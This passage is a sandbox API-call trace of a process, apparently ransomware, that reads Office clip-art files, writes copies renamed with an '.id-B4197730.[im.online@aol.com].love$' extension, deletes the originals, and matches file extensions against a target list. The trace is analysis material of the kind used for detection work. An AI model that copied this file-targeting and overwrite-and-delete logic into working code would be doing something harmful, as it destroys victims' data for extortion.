(hFile=0x578) returned 1 [0263.292] CloseHandle (hObject=0x578) returned 1 [0263.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0263.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.295] lstrlenW (lpString=".doc") returned 4 [0263.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.295] lstrlenW (lpString=".docx") returned 5 [0263.295] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.295] lstrlenW (lpString=".pdf") returned 4 [0263.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.295] lstrlenW (lpString=".xls") returned 4 [0263.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.296] lstrlenW (lpString=".xlsx") returned 5 [0263.296] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.296] lstrlenW (lpString=".ppt") returned 4 [0263.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.296] lstrlenW (lpString=".zip") returned 4 [0263.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.296] lstrlenW (lpString=".rar") returned 4 [0263.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.296] lstrlenW (lpString=".bz2") returned 4 [0263.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.296] lstrlenW (lpString=".7z") returned 3 [0263.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.296] lstrlenW (lpString=".dbf") returned 4 [0263.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.296] lstrlenW (lpString=".1cd") returned 4 [0263.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.296] lstrlenW (lpString=".jpg") returned 4 [0263.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.297] lstrlenW (lpString=".doc") returned 4 [0263.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.297] lstrlenW (lpString=".docx") returned 5 [0263.297] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.297] lstrlenW (lpString=".pdf") returned 4 [0263.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.297] lstrlenW (lpString=".xls") returned 4 [0263.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.297] lstrlenW (lpString=".xlsx") returned 5 [0263.297] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.297] lstrlenW (lpString=".ppt") returned 4 [0263.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.297] lstrlenW (lpString=".zip") returned 4 [0263.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.297] lstrlenW (lpString=".rar") returned 4 [0263.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.297] lstrlenW (lpString=".bz2") returned 4 [0263.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.298] lstrlenW (lpString=".7z") returned 3 [0263.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.298] lstrlenW (lpString=".dbf") returned 4 [0263.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.298] lstrlenW (lpString=".1cd") returned 4 [0263.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0263.298] lstrlenW (lpString=".jpg") returned 4 [0263.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.298] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0263.298] lstrlenW (lpString="J0099147.JPG") returned 12 [0263.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.497] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=24377) returned 1 [0263.497] CloseHandle (hObject=0x550) returned 1 [0263.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0263.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.862] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.862] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.865] GetLastError () returned 0x0 [0263.865] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5f39, lpOverlapped=0x0) returned 1 [0263.868] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5f40, lpOverlapped=0x0) returned 1 [0263.870] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.870] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.871] SetEndOfFile (hFile=0x45c) returned 1 [0263.871] CloseHandle (hObject=0x45c) returned 1 [0263.871] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.871] SetEndOfFile (hFile=0x42c) returned 1 [0263.875] CloseHandle (hObject=0x42c) returned 1 [0263.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0263.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.878] lstrlenW (lpString=".doc") returned 4 [0263.878] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.878] lstrlenW (lpString=".docx") returned 5 [0263.878] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0263.878] lstrlenW (lpString=".pdf") returned 4 [0263.878] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.878] lstrlenW (lpString=".xls") returned 4 [0263.878] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.878] lstrlenW (lpString=".xlsx") returned 5 [0263.878] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0263.878] lstrlenW (lpString=".ppt") returned 4 [0263.878] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.878] lstrlenW (lpString=".zip") returned 4 [0263.879] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.879] lstrlenW (lpString=".rar") returned 4 [0263.879] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.879] lstrlenW (lpString=".bz2") returned 4 [0263.879] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.879] lstrlenW (lpString=".7z") returned 3 [0263.879] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.879] lstrlenW (lpString=".dbf") returned 4 [0263.879] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.879] lstrlenW (lpString=".1cd") returned 4 [0263.879] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.879] lstrlenW (lpString=".jpg") returned 4 [0263.879] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.879] lstrlenW (lpString=".doc") returned 4 [0263.880] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.880] lstrlenW (lpString=".docx") returned 5 [0263.880] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0263.880] lstrlenW (lpString=".pdf") returned 4 [0263.880] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.880] lstrlenW (lpString=".xls") returned 4 [0263.880] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.880] lstrlenW (lpString=".xlsx") returned 5 [0263.880] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0263.880] lstrlenW (lpString=".ppt") returned 4 [0263.880] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.880] lstrlenW (lpString=".zip") returned 4 [0263.880] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.880] lstrlenW (lpString=".rar") returned 4 [0263.880] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.880] lstrlenW (lpString=".bz2") returned 4 [0263.880] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.880] lstrlenW (lpString=".7z") returned 3 [0263.880] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.880] lstrlenW (lpString=".dbf") returned 4 [0263.881] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.881] lstrlenW (lpString=".1cd") returned 4 [0263.881] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0263.881] lstrlenW (lpString=".jpg") returned 4 [0263.881] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.881] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0263.881] lstrlenW (lpString="J0099150.JPG") returned 12 [0263.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.885] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=21914) returned 1 [0263.885] CloseHandle (hObject=0x42c) returned 1 [0263.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0263.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0263.886] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.886] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.887] GetLastError () returned 0x0 [0263.887] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x559a, lpOverlapped=0x0) returned 1 [0263.891] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x55a0, lpOverlapped=0x0) returned 1 [0263.894] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.894] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.894] SetEndOfFile (hFile=0x45c) returned 1 [0263.895] CloseHandle (hObject=0x45c) returned 1 [0263.895] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.895] SetEndOfFile (hFile=0x42c) returned 1 [0263.898] CloseHandle (hObject=0x42c) returned 1 [0263.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0264.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.252] lstrlenW (lpString=".doc") returned 4 [0264.252] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.252] lstrlenW (lpString=".docx") returned 5 [0264.252] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0264.252] lstrlenW (lpString=".pdf") returned 4 [0264.252] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.252] lstrlenW (lpString=".xls") returned 4 [0264.252] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.252] lstrlenW (lpString=".xlsx") returned 5 [0264.252] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0264.252] lstrlenW (lpString=".ppt") returned 4 [0264.252] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.252] lstrlenW (lpString=".zip") returned 4 [0264.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.252] lstrlenW (lpString=".rar") returned 4 [0264.253] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.253] lstrlenW (lpString=".bz2") returned 4 [0264.253] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.253] lstrlenW (lpString=".7z") returned 3 [0264.253] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.253] lstrlenW (lpString=".dbf") returned 4 [0264.253] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.253] lstrlenW (lpString=".1cd") returned 4 [0264.253] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.253] lstrlenW (lpString=".jpg") returned 4 [0264.253] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.253] lstrlenW (lpString=".doc") returned 4 [0264.253] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.254] lstrlenW (lpString=".docx") returned 5 [0264.254] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0264.254] lstrlenW (lpString=".pdf") returned 4 [0264.254] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.254] lstrlenW (lpString=".xls") returned 4 [0264.254] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.254] lstrlenW (lpString=".xlsx") returned 5 [0264.254] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0264.254] lstrlenW (lpString=".ppt") returned 4 [0264.254] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.254] lstrlenW (lpString=".zip") returned 4 [0264.254] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.254] lstrlenW (lpString=".rar") returned 4 [0264.254] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.254] lstrlenW (lpString=".bz2") returned 4 [0264.254] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.254] lstrlenW (lpString=".7z") returned 3 [0264.255] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.255] lstrlenW (lpString=".dbf") returned 4 [0264.255] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.255] lstrlenW (lpString=".1cd") returned 4 [0264.255] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0264.255] lstrlenW (lpString=".jpg") returned 4 [0264.255] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.255] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0264.256] lstrlenW (lpString="J0099155.JPG") returned 12 [0264.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.623] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8826) returned 1 [0264.623] CloseHandle (hObject=0x42c) returned 1 [0264.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0264.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0264.625] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.625] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0264.627] GetLastError () returned 0x0 [0264.627] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x227a, lpOverlapped=0x0) returned 1 [0264.631] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2280, lpOverlapped=0x0) returned 1 [0264.633] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.633] WriteFile (in: hFile=0x45c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0264.633] SetEndOfFile (hFile=0x45c) returned 1 [0264.633] CloseHandle (hObject=0x45c) returned 1 [0264.633] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.633] SetEndOfFile (hFile=0x42c) returned 1 [0264.692] CloseHandle (hObject=0x42c) returned 1 [0264.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft 